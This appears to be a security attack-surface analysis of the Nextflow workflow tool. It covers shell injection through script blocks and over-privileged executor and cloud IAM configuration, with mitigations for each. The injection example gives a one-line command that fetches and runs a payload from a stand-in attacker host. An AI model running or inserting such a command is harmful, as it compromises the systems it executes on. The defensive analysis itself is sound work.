attack-surface.md

Attack Surface Analysis for nextflow-io/nextflow

Attack Surface: Arbitrary Code Execution via script Blocks

• Description: The ability for an attacker to inject and execute arbitrary code within a Nextflow process's script block. This remains the most direct and dangerous attack vector inherent to Nextflow's design.
• Nextflow Contribution: Nextflow's script blocks, by their very nature, allow the execution of arbitrary shell commands or scripts. This core feature, while providing flexibility, is the primary source of this critical risk. The execution context and how Nextflow handles input to these blocks are the key concerns.
• Example: An attacker provides a specially crafted input parameter that, when used within a script block without proper sanitization, injects a command like curl attacker.com/malware | bash.
• Impact: Complete system compromise. The attacker gains full control over the execution environment (which could be the host if not properly containerized, or the container itself). This allows for data theft, malware installation, and complete disruption.
• Risk Severity: Critical
• Mitigation Strategies:
  • Strict Input Validation: Implement extremely rigorous validation and sanitization of all input data that is ever used within a script block, regardless of its source (file contents, parameters, environment variables). Prioritize whitelisting over blacklisting.
  • Avoid String Concatenation: Absolutely never construct shell commands by concatenating strings with any untrusted input, no matter how small. Use parameterized commands or safer alternatives provided by the scripting language (e.g., Groovy's execute() method with a list of arguments, not a single string).
  • Containerization (Mandatory): Containerized executors (Docker, Singularity, etc.) are not optional for mitigating this risk; they are essential. Ensure containers are configured with minimal privileges and follow security best practices.
  • Least Privilege: Run Nextflow itself and all its processes with the absolute lowest possible privileges necessary. Never run as root.
  • Code Review (Mandatory): Thorough, security-focused code reviews of all Nextflow scripts are mandatory, with a specific focus on identifying any potential code injection vulnerabilities in script blocks.

Attack Surface: Over-Privileged Executor Configuration

• Description: Misconfigurations in the executor settings, specifically those managed directly by Nextflow within the nextflow.config file or through command-line options, grant excessive permissions to Nextflow processes. This is a direct consequence of how Nextflow interacts with execution environments.
• Nextflow Contribution: Nextflow's configuration system for executors (local, grid, cloud) is powerful but requires careful attention to security. Nextflow is directly responsible for translating these configurations into actions within the execution environment.
• Example: A Nextflow workflow running on AWS Batch is configured (via nextflow.config) with an IAM role that grants full s3:* access (read, write, delete) to all S3 buckets, instead of a specific, restricted bucket.
• Impact: Data breaches (read/write/delete of sensitive data), unauthorized access to cloud resources, potential for lateral movement within the cloud environment, and resource abuse.
• Risk Severity: High
• Mitigation Strategies:
  • Principle of Least Privilege (Mandatory): Grant only the absolute minimum necessary permissions to Nextflow processes and executors. Use dedicated service accounts/roles with extremely narrowly scoped permissions, defined directly within the Nextflow configuration.
  • Secure Credential Management (Mandatory): Never hardcode credentials (access keys, secrets) directly in the nextflow.config file or any Nextflow scripts. Use environment variables or, preferably, a dedicated secrets management solution (AWS Secrets Manager, Google Secret Manager, HashiCorp Vault), and configure Nextflow to use them.
  • Network Segmentation (via Executor Config): Configure network settings within the Nextflow executor configuration to isolate Nextflow processes and limit their access to only strictly necessary resources. Utilize VPCs, subnets, and security groups as appropriate, configuring them through Nextflow's executor settings.
  • Regular Audits (of nextflow.config): Periodically review and audit the nextflow.config file and any other configuration files used by Nextflow, focusing specifically on executor settings and ensuring they adhere to the principle of least privilege.